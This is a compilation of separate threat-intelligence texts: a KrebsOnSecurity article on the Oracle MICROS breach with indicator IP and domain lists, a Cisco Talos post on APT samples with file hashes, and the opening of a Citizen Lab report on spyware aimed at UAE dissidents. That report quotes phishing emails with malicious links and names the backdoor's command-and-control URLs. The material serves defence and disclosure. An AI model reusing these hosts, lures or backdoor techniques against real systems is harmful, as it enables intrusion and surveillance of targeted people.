Booz Allen open-source intelligence teams, including the firm s first commercial cyber threat intelligence offering in 2011. He earned an M.A. in international relations from Yale University and a B.A. in history from Cornell University. SCOTT STABLES Scott Stables is a chief technologist in Booz Allen s Strategic Innovation Group leading the firm s Next-Generation Industrial Security initiative. In this role, he manages a team of engineers and developers working together develop solutions that address the cybersecurity challenges associated with industrial systems and industrial IoT security. Scott has almost 20 years of technology experience, primarily in the systems integration, communications, and cybersecurity areas, and has worked for a range of commercial customers across the globe focused on a range of diverse initiatives. Scott has an M.S. in information systems from Robert Gordon University, and a LL.B (Hons) in business law from London Guildhall University. About Booz Allen Booz Allen Hamilton has been at the forefront of strategy and technology for more than 100 years. Today, the firm provides management and technology consulting and engineering services to leading Fortune 500 corporations, governments, and not-for-profits across the globe. Booz Allen partners with public and private sector clients to solve their most difficult challenges through a combination of consulting, analytics, mission operations, technology, systems delivery, cybersecurity, engineering, and innovation expertise. With international headquarters in McLean, Virginia, the firm employs more than 22,600 people globally and had revenue of $5.41 billion for the 12 months ended March 31, 2016. To learn more, visit BoozAllen.com. (NYSE: BAH) For More Information BRAD MEDAIRY Senior Vice President medairy_brad@bah.com +1-703-902-5948 SCOT T STABLES Chief Cyber Technologist stables_scott@bah.com +1-630-776-7701 Authors MAT T THURSTON Lead Associate thurston_matthew@bah.com +1-703-216-5259 NATE BEACH-WESTMORELAND Author JAKE ST YCZ YNSKI Lead Author SCOT T STABLES Author boozallen.com/ics 2016 Booz Allen Hamilton Inc. | vcs.c.07.047.16 BO OZ ALLEN.COM AUG 16 Visa Alert and Update on the Oracle Breach Credit card industry giant Visa on Friday issued a security alert warning companies using point-of-sale devices made by Oracle s MICROS retail unit to double-check the machines for malicious software or unusual network activity, and to change passwords on the devices. Visa also published a list of Internet addresses that may have been involved in the Oracle breach and are thought to be closely tied to an Eastern European organized cybercrime gang. The Visa alert is the first substantive document that tries to help explain what malware and which malefactors might have hit Oracle and by extension many of Oracle s customers since KrebsOnSecurity broke news of the breach on Aug. 8. That story cited sources close to the investigation saying hackers had broken into hundreds of servers at Oracle s retail division, and had completely compromised Oracle s main online support portal for MICROS customers. MICROS is among the top three point-of-sale vendors globally. Oracle s MICROS division sells point-of-sale systems used at more than 330,000 cash registers worldwide. When Oracle bought MICROS in 2014, the company said MICROS s systems were deployed at some 200,000+ food and beverage outlets, 100,000+ retail sites, and more than 30,000 hotels. In short, tens of millions of credit cards are swiped at MICROS terminals monthly, and a breach involving the theft of credentials that might have granted remote access to even just a small percentage of those systems is potentially a big and costly problem for all involved. So far, however, most MICROS customers are left scratching their heads for answers. A frequently asked questions bulletin (PDF) Oracle also released last Monday held little useful information. Oracle issued the same cryptic response to everyone who asked for particulars about how far the breach extended. Oracle has detected and addressed malicious code in certain legacy MICROS systems. Oracle also urged MICROS customers to change their passwords, and said we also recommend that you change the password for any account that was used by a MICROS representative to access your on-premises systems. One of two documents Oracle sent to MICROS customers and the sum total of information the company has released so far about the breach. Some technology and fraud experts, including Gartner Analyst Avivah Litan, read that statement highlighted in yellow above as an acknowledgement by Oracle that hackers may have abused credentials gained in the MICROS portal breach to plant malicious code on the point-of-sale devices run by an unknown number of MICROS customers. This [incident] could explain a lot about the source of some of these retail and merchant point-of-sale hacks that nobody has been able to definitively tie to any one point-of-sale services provider, Litan told me last week. d say there s a big chance that the hackers in this case found a way to get remote access to MICROS customers on-premises point-of-sale devices. Clearly, Visa is concerned about this possibility as well. INDICATORS OF COMPROMISE In my original story about the breach, I wasn t able to reveal all the data I d gathered about the apparent source of the attacks and attackers. A key source in that story asked that I temporarily delay publishing certain details of the investigation, specifically those known as indicators of compromise (IOCs). Basically, IOCs are list of suspect Internet addresses, domain names, filenames and other curious digital clues that are thought to connect the victim with its attacker. ve been inundated all week with calls and emails from security experts asking for that very data, but sharing it wasn t my call. That is, until yesterday (8/12/16), when Visa published a merchant communication alert to some customers. In that alert (PDF), Visa published IOCs that may be connected with the intrusion. These IOCs could be extremely useful to MICROS customers because the presence of Internet traffic to and from these online destinations would strongly suggest the organization s point-of-sale systems may be similarly compromised. Some of the addresses on this list from Visa are known to be associated with the Carbanak Gang, a group of Eastern European hackers that Russian security firm Kaspersky Labestimates has stolen more than $1 billion from banks and retailers. Here s the IOCs list from the alert Visa pushed out Friday: Visa warned merchants to check their systems for any communications to and from these Internet addresses and domain names associated with a Russian organized cybercrime gang called Carbanak. Thankfully, since at least one of the addresses listed above (192.169.82.86) matched what s on my source s list, the source agreed to let me publish the entire thing. Here it is. I checked my source s list and found at least five Internet addresses that were seen in both the Oracle attack and in a Sept. 2015 writeup about Carbanak by ESET Security, a Slovakian antivirus and security company. [NB: If you are unskilled at safely visiting malicious Web sites and/or handling malware, it s probably best not to visit the addresses in the above-linked list.] Visa also mentioned a specific POS-malware threat in its alert called MalumPOS. According to researchers at Trend Micro, MalumPOS is malware designed to target pointof-sale systems in hotels and related industries. In fact, Trend found that MalumPOS is set up to collect data specifically from point-of-sale systems running on Oracle s MICROS platform. It should come as no surprise then that many of Oracle s biggest customers in the hospitality industry are starting to make noise, accusing Oracle of holding back key information that could help MICROS-based companies stop and clean up breaches involving malware and stolen customer credit card data. Oracle s silence has been deafening, said Michael Blake, chief executive officer at HTNG, a trade association for hotels and technology. Oracle s silence has been deafening, said Michael Blake, chief executive officer at HTNG, a trade association for hotels and technology. They are still grappling and trying to answer questions on the extent of the breach. Oracle has been invited to the last three [industry] calls this week and they are still going about trying to reach each customer individually and in the process of doing so they have done nothing but given the lame advice of changing passwords. The hospitality industry has been particularly hard hit by point-of-sale compromises over the past two years. Last month, KrebsOnSecurity broke the news of a breach at Kimpton Hotels (Kimpton appears to run MICROS products, but the company declined to answer questions for this story). Kimpton joins a long list of hotel brands that have acknowledged card breaches over the last year, including Trump Hotels (twice), Hilton, Mandarin Oriental, and White Lodging(twice), Starwood Hotels and Hyatt. In many of those incidents, thieves had planted malicious software on the point-of-sale devices at restaurants and bars inside of the hotel chains. And, no doubt, many of those cash registers were run on MICROS systems. If Oracle doesn t exactly know which if any of its MICROS customers had malware on their point-of-sale systems as a result of the breach, it may be because the network intruders didn t have any reason to interact with Oracle s customers via the MICROS portal after stealing usernames and passwords that would allow them to remotely access customer on-premises systems. In theory, at that point the fraudsters could have bypassed Oracle altogether from then on. BREACHED BY MULTIPLE ACTORS? Another possibly interesting development in the Oracle breach story: There are indications that Oracle may have been breached by more than one cybercrime group. Or at least handed off from one to the other. Late this week, Thomas Fox-Brewster at Forbes published a story noting that MICROS was just one of at least five point-of-sale companies that were recently hacked by a guy who from an exhaustive review of his online chats appears to have just sat himself down one day and decided to hack a bunch of point-of-sale companies. Forbes quoted my old friend Alex Holden of Hold Security saying he had evidence that hackers had breached at least 10 payment companies, and the story focuses on getting confirmation from the various other providers apparently breached by the same cybercriminal actor. Holden showed me multiple pages worth of chat logs between two individuals on a cybercrime forum [full disclosure: Holden s company lists me as an adviser, but I accept no compensation for that role, and he ignores most of my advice]. The discussion between the two hackers begins around July 15, 2016, and goes on for more than a week. In it, the two hackers have been introduced to one another through a mutual, trusted contact. For a while, all they discuss is whether the seller can be trusted to deliver the Oracle MICROS database and control over the Oracle MICROS customer ticketing portal. In the end, the buyer is convinced by what he sees and agrees to pay the bitcoin equivalent of roughly USD $13,000 for access to Oracle s MICROS portal, as well as a handful of other pointof-sale Web sites. The buyer s bitcoin wallet and the associated transactions can be seen here. A screen shot shared by one of the hackers involved in compromising Oracle s MICROS support portal. This screen shot was taken of a similar Web shell the hackers placed on the Web site of another POS provider (this is not the shell that was on Oracle). According to the chat log, the hacker broke in by exploiting a file-upload function built into the MICROS customer support portal. From there the attackers were able to upload an attack tool known as a WSO Web Shell. This is a crude but effective text-based control panel that helps the attacker install additional attack tools to harvest data from the compromised Web server (see screen shot above). The beauty of a Web shell is that the attacker can control the infected site using nothing more than a Web browser, using nothing more than a hidden login page and a password that only he knows. The two hackers discussed and both viewed more than a half-dozen files that were apparently left behind on the MICROS portal by the WSO shell they uploaded in mid-July (most of the malicious files ended in the file extension wso.aspx ). The chat logs show the pair of miscreants proceeding to target another 9 online payment providers or point-of-sale vendors. Some of those companies were quoted in the Forbes piece having acknowledged a breach similar to the Web shell attack at Oracle. But none of them have anywhere near the size of Oracle s MICROS customer base. GOOD HOSPITALITY, OR SWEPT UNDER THE RUG? Oracle maintains in its FAQ (PDF) about the MICROS attack that Oracle s Corporate network and Oracle s other cloud and service offerings were not impacted. But a confidential source within Oracle s Hospitality Division told KrebsOnSecurity that the breach first started in one of Oracle s major point-of-sale data centers specifically the company s large data center in Manassas, Va. According to my source, that particular center helps large Oracle hospitality industry clients manage their fleets of MICROS point-of-sale devices. Initially, the customer s network and the internal Oracle network were on the same network, said my source, who spoke under condition of anonymity because he did not have permission from his employer to speak on the record. The networking team did a network segmentation of these two networks ironically for security purposes. However, it seems as if what they have done actually allowed access from the Russian Cybercrime group. My source said that in mid-July 2016 Oracle sent out an email alert to employees of its hospitality division that they had to re-image their laptops without backing anything up. All of the files and software that were on an employee s computer were deleted, which was crippling to business operations, my source recalled. Project management lost all their schedules, deployment teams lost all the software that they use to install on customer sites. Oracle did not tell the employees in this email that they got hacked but just to re-image everything with no backups. It seems as if Oracle did a pretty good job sweeping this incident under the rug. Most employees don t know about the hack and it hasn t been a huge deal to the customers. However, it is estimated that this cost them billions, so it is a really major breach. I sent Oracle a litany of questions based on the above, but a spokesperson for the company said Oracle would comment on none of it. = Indicators = 104.156.240.212 104.232.35.136 104.250.153.57 107.181.246.211 107.181.250.221 108.61.57.43 128.177.144.59 144.168.45.128 151.80.8.10 162.212.105.78 172.28.202.31 184.22.81.68 185.29.9.28 (c) 185.86.149.115 185.86.149.60 186.106.120.113 190.82.81.132 194.146.180.58 195.154.43.52 198.23.210.156 207.182.98.21 208.167.254.234 209.51.131.190 216.155.131.74 216.170.116.120 220.130.157.99 23.227.196.99 23.249.164.109 31.131.17.128 45.63.23.135 45.63.96.216 5.45.179.185 5.45.192.117 51.254.95.100 51.254.95.99 59.55.142.171 60.228.38.213/login.aspx 66.232.124.175 71.63.154.49 72.233.55.10 74.125.39.18 80.83.118.240 80.83.118.245 82.163.78.188 83.183.76.156 85.186.125.217 86.55.7.54 87.236.210.109 87.236.210.116 87.98.153.34 91.207.60.68 94.140.120.133 95.215.44.136 95.215.45.228 95.215.45.64 95.215.45.69 95.215.45.90 95.215.45.98 95.215.46.2 95.215.46.32 95.215.46.76 95.85.12.179 98.129.249.174 clients14-google.com mail.clients12-google.com ns1.stats1-google.com ns2.stats1-google.com wambiri.net/login.aspx 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack T H U R S D AY, J A N U A R Y 1 4 , 2 0 1 6 RESEARCH SPOTLIGHT: NEEDLES IN A HAYSTACK This post was authored by Mariano Graziano. Malware sandboxes are automated dynamic analysis systems that execute programs in a controlled environment. Within the large volumes of samples submitted daily to these services, some submissions appear to be different from others and show interesting characteristics. At USENIX Security 2015 I presented a paper in which we proposed a method to automatically discover malware developments from samples submitted to online dynamic analysis systems. The research was conducted by dissecting the Anubis sandbox dataset which consisted of over 30M samples collected in six years. The methodology we proposed was effective and we were able to detect many interesting cases in which the malware authors directly interacted with the sandbox during the development phase of the threats. Another interesting result that came from the research concerns the samples attributed to Advanced Persistent Threat (APT) campaigns. Surprisingly, some of the malware samples used in these sophisticated attacks had been submitted to the Anubis sandbox months -- sometimes even years -- before the attack had been attributed to the proper APT campaign by a security vendor. To be perfectly clear, we are not saying that it took security vendors months or years to detect a threat. Most times, we are able to detect the threats in no more than a few hours. It is just that the malware samples were mislabeled and not properly associated with APT campaigns. In general, the same goes for non-APT malware campaigns. In this blog post, we tried to see if the same applied to the Cisco dataset. Speci cally, we chose ten APT campaigns, -- some of which were already covered in the Usenix paper. We decided to inspect two different datasets: our incoming sample feeds / malware zoo, and the telemetry associated with our Advanced Malware Protection (AMP) solutions. Talos receives samples from over 100 external feeds ranging from anti-malware companies to research centers, while the AMP dataset http://blog.talosintel.com/2016/01/haystack.html 1/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack contains telemetry from the Cisco AMP user-base. The remaining part of this post is organized as follows. First, we show the APT campaigns we investigated. Second, we summarize the results of the analysis of the Talos dataset. Third, we show the results from the AMP dataset. Finally, we summarize our ndings. A P T C A M PA I G N S APT CAMPAIGN MADE PUBLIC Beebus February 2013 Arid Viper February 2015 Red October January 2013 Equation February 2015 Paci c RAT July 2014 Regin November 2014 Aurora January 2010 Pitty Tiger July 2014 Net Traveller June 2013 BrutPOS July 2014 The ten malware campaigns in the table above garnered signi cant media attention when discovered, with some of them clearly falling in the area of APT. They were found by different security companies between 2010 and 2015, having different levels of sophistication and different objectives. Moreover, these APT campaigns were not limited to western countries. They have affected organizations all over the world. Most of the time, connecting the dots and drawing relationships between samples and campaigns take months and many experts. This means the security company that releases a detailed report documenting the campaign is aware of it long before the information is made public. However, we believe the public release date is still a good metric, because it is the moment at which all the other security companies and the entire world are made aware of these threats. Another important aspect during an APT investigation is attribution. While detection is done quickly, attribution for these campaigns is often an open and hard problem to solve. Most of the times the perpetrators remain unknown even after months of work by http://blog.talosintel.com/2016/01/haystack.html 2/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack Most of the times the perpetrators remain unknown even after months of work by security researchers. However, sometimes researchers are able to connect the dots and attribute the attack to a threat actor. This was the case for some of the APT campaigns discussed so far. Some of these threats have been attributed to state-sponsored actors, others to cyber criminals or to espionage attacks. However, like in the USENIX publication, in this post we will make no speculation about attribution. In the next paragraphs, we will present the results of searching for samples associated with these APT campaigns in our datasets. TA LO S D ATA S E T AVG DAYS BEFORE APT CAMPAIGN PUBLICALLY CAMPAIGN IDENTIFIED Beebus Arid Viper Red October Equation 1371 Paci c RAT Regin 1018 Aurora Pitty Tiger Net Traveller BrutPOS This table shows the results of the analysis of our incoming sample feeds/malware zoo. For every campaign, we checked in our malware zoo to see when they had been initially submitted to us. Given that we know when information about these APT campaigns was made public, we can compute the number of days it took the security community to publicly tie the samples to an APT campaign, even though the samples had been marked malicious for other reasons. On average, these samples went for 458 days before being tied to an APT campaign. The table presents the average number of days for the entire campaign, and we go from a few months as in the case of Aurora to more than three years for Equation . Notice that these gures come from our malware zoo which collects samples from external sources and in general are a good indicator given the amount of samples received per day. Notice that these numbers vary based on the dataset. http://blog.talosintel.com/2016/01/haystack.html 3/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack dataset. V I R U S TOTA L The vast majority of the submissions come from big organizations such as Antivirus companies. Interestingly, a signi cant percentage is submitted by VirusTotal. For this reason we decided to check the submitters for possible links and intelligence information. As already documented by Dixon, information about the submitters of samples is not publicly available, but can partially be retrieved from their Intelligence service. For every sample, it is possible to know a hash (a hexadecimal unique identi er of the submitter), the country (from the geolocalization of the IP address of the submitter) and the method (the way the sample has been submitted, for instance via the web interface or the APIs). This opaque information complicates the analysis a little bit, but it is still possible to obtain interesting results. SUBMITTER 6exxxxxx CAMPAIGNS AridViper Nettraveller RedOctober BrutPOS PittyTiger 14xxxxxx AridViper Regin 22xxxxxx AridViper Regin Nettraveller BrutPOS PittyTiger 20xxxxxx AridViper Nettraveller Paci cRAT BrutPOS PittyTiger 5exxxxxx Equation Regin BrutPOS Auror 72xxxxxx Equation Regin BrutPOS 4bxxxxxx Regin 3bxxxxxx Regin cdxxxxxx Beebus PittyTiger Nettraveller BrutPOS b4xxxxxx Aurora The table above summarizes our ndings from VirusTotal. The rst column shows the hash of the submitter. This means that the submitter sent one or more samples of a given APT campaign to VirusTotal before its public release. One can only speculate on who these submitters are. They could very likely be the threat actors themselves, testing to see if their malware is detected by the AV companies. They could also be security researchers or vendors who are trying to get information from VirusTotal. It is noteworthy that in most of the cases the same submitters uploaded samples belonging http://blog.talosintel.com/2016/01/haystack.html 4/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack noteworthy that in most of the cases the same submitters uploaded samples belonging to different APT campaigns. C I S CO A M P We went through our logs to search for entries that contained hashes related to the ten APT campaigns we have been investigating. Interestingly, we got hits for eight different hashes belonging to three different campaigns that were discovered on Cisco AMP customer machines before the APT campaign was publicly identi ed. APT CAMPAIGN (NUM DAYS BEFORE APT CAMPAIGN OF SAMPLES) PUBLICALLY IDENTIFIED Arid Viper (1 SAMPLE) Equation (1 SAMPLE) BrutPOS (6 SAMPLES) As illustrated in the table above, we identi ed eight malicious samples that were in the wild before being associated with APT campaigns. It is important to repeat that most of these samples were detected as malicious the moment they rst appeared on our customers machines. Surprisingly, one sample of the Equation APT campaign (fanny worm) was found and blocked on a Cisco AMP customer s machine a day after the public release of the Kaspersky report. HASH (SHA256) DATE DISPOSITION 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 UNKNOWN ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-02 MALIICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-16 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-02-12 MALICIOUS ARID VIPER http://blog.talosintel.com/2016/01/haystack.html 5/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack 14BFDA4A4ACA1276388702D0FB7629AF120FF34C1ACDEB7613815F2981C99832 2014-05-07 MALICIOUS BRUTPOS 508909C8A00026C904F52099DD62BBF4062B4E8E40FC0601BD9E13570514B4F5 2014-05-06 MALICIOUS BRUTPOS 7170A07BCB5B0467A75CBD17A1A1877AEC3C8EA43C45D3BED6AB5E6C95A62713 2014-05-06 MALICIOUS BRUTPOS 9A10916AD0F43FA3376C2E54FD5CFDD06D684B3A19895ED4107FAF9F3313DCDA 2014-05-07 MALICIOUS BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-06 UNKNOWN BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-07 MALICIOUS BRUTPOS Based on our logs, Cisco AMP found the sample 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 twice on 2015-12-20. It was unknown to AMP the rst time, but detected as malicious the second time. E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F was unknown to AMP on 2014-05-06, but detected as malicious the next time it was seen on a customer s machine on 2014-05-07. In all the other cases the samples were already considered malicious. CO N C LU S I O N As the number of threats per day continues to increase, the number of malware samples security companies automatically analyze increases. Much of the analysis is comprised of dynamic analysis systems, such as sandboxes, to determine whether the sample is malicious or not. These samples are then stored for further analysis. Due to the large numbers of samples, in many organizations the vast majority of these samples remain categorized solely on the initial sandbox run. Even when these samples are shared among companies or via other services like VirusTotal some malware samples can go unnoticed for months because they are marked as malware but given some generic name, such as Win.Trojan.Agent . Then we are shocked when a security company discovers an APT campaign that has supposedly gone unnoticed for years. The results of this post con rm the assumption of the Usenix paper, also based on a dataset of a big security company and similar results are expected throughout the security industry. Many times, malware is initially submitted to sandbox systems and marked as malicious based on the output of the sandbox. Then the authors use that information to tweak the sample to avoid detection in future sandbox runs through various evasion tactics. In other situations, the initial sample may not even be agged as malicious due to evasion techniques being utilized. By performing statistical analysis and reducing the data through clustering, even samples that avoid initial sandbox detection http://blog.talosintel.com/2016/01/haystack.html 6/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack reducing the data through clustering, even samples that avoid initial sandbox detection can potentially be detected as malicious. There is clearly a need for more advanced analytical systems to identify campaigns and link the samples together. Identifying today s threats requires multiple layers of protection at various points across the network, along with constantly updated threat intelligence information. Cisco analyzes a massive amount of telemetry data and is able to ag malware as malicious based on multiple factors. By performing manual and programmatic analysis of sandbox data in conjunction with identifying behaviors which are associated with malicious activity, even unknown APT campaigns can be neutralized. P O S T E D B Y E A R L C A R T E R AT 1 1 : 0 3 A M L A B E L S : A P T , C A M PA I G N , M A LW A R E , TA L O S , W H I T E PA P E R SHARE THIS POST NO COMMENTS: POST A COMMENT Enter your comment... Comment as: Publish Unknown (Google) Preview http://blog.talosintel.com/2016/01/haystack.html Sign out Notify me 7/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack NEWER POST HOME OLDER POST S U B S C R I B E T O : P O S T C O M M E N T S ( AT O M) SEARCH THE BLOG Search SUBSCRIBE TO OUR FEED Posts Comments BLOG ARCHIVE 2 0 1 6 (21) A P R I L (4) M A R C H (7) F E B R U A R Y (6) J A N U A R Y (4) Bypassing MiniUPnP Stack Smashing Protection Research Spotlight: Needles in a Haystack Microsoft Patch Tuesday - January 2016 Rigging compromise - RIG Exploit Kit 2 0 1 5 (62) 2 0 1 4 (67) 2 0 1 3 (30) 2 0 1 2 (53) 2 0 1 1 (23) http://blog.talosintel.com/2016/01/haystack.html 8/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack 2 0 1 0 (94) 2 0 0 9 (146) 2 0 0 8 (38) RECOMMENDED BLOGS CISCO BLOG Cisco Digital Ceiling: Enhanced Learning through Technology and Digitization SNORT BLOG Snort Subscriber Rule Set Update for 04/08/2016 CLAMAV BLOG ClamAV Community Signature contest winner for March, 2016 Software Community Vulnerability Reports Additional Resources Microsoft to SID Mapping Archive Shared Object Rule Generator IP Blacklist Download AWBO Exercises About Talos Join Our Team Contact Blog CONNECT WITH US http://blog.talosintel.com/2016/01/haystack.html 9/10 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack 2015 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here. http://blog.talosintel.com/2016/01/haystack.html 10/10 Keep Calm and (Don't) Enable Macros: A New Threat Actor Targets UAE Dissidents May 29, 2016 Categories: Bill Marczak, John Scott-Railton, Reports and Brie ngs, Research News Authors: Bill Marczak, John Scott-Railton 1. Executive Summary This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon. The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents. We discovered this campaign when an individual purporting to be from an apparently ctitious organization called "The Right to Fight" contacted Rori Donaghy. Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel. Donaghy has written critically of the United Arab Emirates (UAE) government in the past,1 and had recently published a series of articles based on leaked emails involving members of the UAE government.2 Circumstantial evidence suggests a link between Stealth Falcon and the UAE government. We traced digital artifacts used in this campaign to links sent from an activist's Twitter account in December 2012, a period when it appears to have been under government control. We also identi ed other bait content employed by this threat actor. We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to the UAE, based on their pro le information (e.g., photos, "UAE" in account name, location), and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity. The attack on Donaghy - and the Twitter attacks - involved a malicious URL shortening site. When a user clicks on a URL shortened by Stealth Falcon operators, the site pro les the software on a user's computer, perhaps for future exploitation, before redirecting the user to a benign website containing bait content. We queried the URL shortener with every possible short URL, and identi ed 402 instances of bait content which we believe were sent by Stealth Falcon, 73% of which obviously referenced UAE issues. Of these URLs, only the one sent to Donaghy de nitively contained spyware. However, we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting broader use of the spyware, perhaps by the same or other operators. Figure 1: Tag cloud of bait content topics used by Stealth Falcon showing a strong emphasis on political topics and narratives critical of the UAE government 2. Background Rori Donaghy3 is a London-based journalist who currently works for UK news organization Middle East Eye, a website that covers news in the Middle East.4 Middle East Eye has recently published a series of articles about UAE foreign policy, based on leaked emails involving members of the UAE government. Previously, Donaghy led the Emirates Center for Human Rights,5 an organization he founded to "promote the defence of human rights in the United Arab Emirates through building strong relationships with the media, parliaments and other relevant organisations outside the UAE".6 2.1. Political and Human Rights Situation in the UAE In its most recent (2015) Freedom in the World ranking, Freedom House classi ed the UAE as "not free," and noted that the UAE continues to "suppress dissent".7 Human Rights Watch stated in its most recent (2016) country report, that the UAE has "continued to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities".8 Amnesty International says that UAE courts have "accepted evidence allegedly obtained through torture".9 Speci cally in the online realm, there is evidence that the UAE government has previously conducted malware attacks against civil society. At least three dissidents10 including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted in 2012 with Hacking Team spyware11 by a Hacking Team customer in the UAE, apparently operating under the auspices of the of ce of Sheikh Tahnoon bin Zayed al-Nahyan,12 a son of the founder of the UAE, and now the UAE Deputy National Security Advisor.13 The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices.14 Figure 2: Diagram of Stealth Falcon's known Targets, Fake Personas, and campaign Artefacts, along with relevant sections of the report. The document paints a picture of a large-scale campaign with a focus on critics of the UAE Government 3. The November 2015 Attack: An "Invitation" This section describes an email attack against journalist Rori Donaghy. The operators used a Microsoft Word macro that installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine. 3.1 Initial Attack Email In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a panel of human rights experts: From: the_right_to_ ght@openmailbox.org Subject: Current Situation of Human Rights in the Middle East Mr. Donaghy, We are currently organizing a panel of experts on Human Rights in the Middle East. We would like to formally invite you to apply to be a member of the panel by responding to this email. You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East. http://aax.me/d0dde Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight Donaghy was suspicious of the email, and forwarded it to us for analysis. We found that the link in the email (http://aax.me/d0dde) loaded a page containing a redirect to the website of Al Jazeera. Before completing the redirect, it invoked JavaScript to pro le the target's computer. We describe the pro ling in detail in Section 3.1-3.3 below. 3.2 Communication with the Operator On our instruction, Donaghy responded to the email, asking for further information. The operators responded with the following message: From: the_right_to_ ght@openmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, Thank you for getting back to us. We are very interested in you joining our panel. The information you requested is in the attached document. In order to protect the content of the attachment we had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us. Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight By chance, the attachment was identi ed as malicious and blocked by a program running in Donaghy's email account. We instructed him to follow up and request that the operators forward the attachment via another method. Donaghy received the following reply: From: the_right_to_ ght@openmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, We apologize for having problems with our attachment. Please follow this link to download our organizational information. http://aax.me/a6faa The link has been password protected. The password is: right2 In order to protect the content of the attachment we also had to add macro enabled security. Please enable macros in order to read the provided information about our organization. We hope you will consider joining us. Thank you. We look forward to hearing back from you, Human Rights: The Right to Fight This second link (http://aax.me/a6faa) redirects to the following URL using an HTTP 302 redirect: https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate This is a password-protected link to a le shared on an ownCloud15 instance. We obtained this le, and found it to be a Microsoft Word document. 3.3 The Malicious Document The document is: Filename: MD5: SHA1: SHA256: right2fight.docm 80e8ef78b9e28015cde4205aaa65da97 f25466e4820404c817eaf75818b7177891735886 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f When opened, the target is greeted with the following image, purporting to be a message from "proofpoint," a legitimate provider of security solutions for Of ce 365.16 The image claims that "This Document Is Secured" and requests that the user "Please enable macros to continue." Figure 3: Fake Proofpoint image in the malicious document sent to Donaghy If the target enables macros, they are presented with the following document: Figure 4: Document that Donaghy would have seen, had he enabled macros The document purports to be from an organization called "The Right To Fight," and asks the target Donaghy to open the link in the original email he received (the email containing the pro ling URL). We believe that "The Right To Fight" is a ctitious organization, as their logo appears to be copied from an exhibition about "African American Experiences in WWII".17 Further, "The Right to Fight" has no discernable web presence. Figure 5: Logo from exhibition about African American experiences in WWII. 3.3.1 Pro ling The document attempts to execute code on the recipient's computer, using a macro. The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command). 3.3.2 Communication & Obtaining a Shell Gathered information is returned to http://adhostingcache.com/ehhe/eh4g4/adcache.txt, and the server's response is executed as a PowerShell command. At the time, adhostingcache.com resolved to 95.215.44.37. The domain was apparently deleted on November 30th 2015 (Donaghy received the malicious Word Document on November 24th 2015). A new domain, adhostingcaches.com, was registered on December 3rd, which points to the same IP address. The deletion of adhostingcache.com may re ect operator suspicion that the le received by Donaghy had been sent to security researchers. The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled "IE Web Cache" that executes the le hourly (full script available in Appendix B: Stage Two PowerShell Command). IEWebCache.vbs runs a Base64-encoded PowerShell command, which periodically POSTs a unique identi er to https://incapsulawebcache.com/cache/cache.nfo (via HTTPS without verifying the server certi cate, and with a hardcoded user-agent header matching Internet Explorer 10.6). The script executes server responses as PowerShell commands, responding back to the server with the exit status of, output of, or any exceptions generated by the commands. This gives the operator control over the victim's computer, and allows the operator to install additional spyware or perform other activities. All commands and responses are encrypted using RC4 with a hardcoded key, and the encrypted message is xed with a hardcoded value. Despite some similarities in functionality to the Empire backdoor,18 we were unable to identify any shared code, and we suspect that the backdoor is custom-made. 3.4. Technical Analysis: aax.me 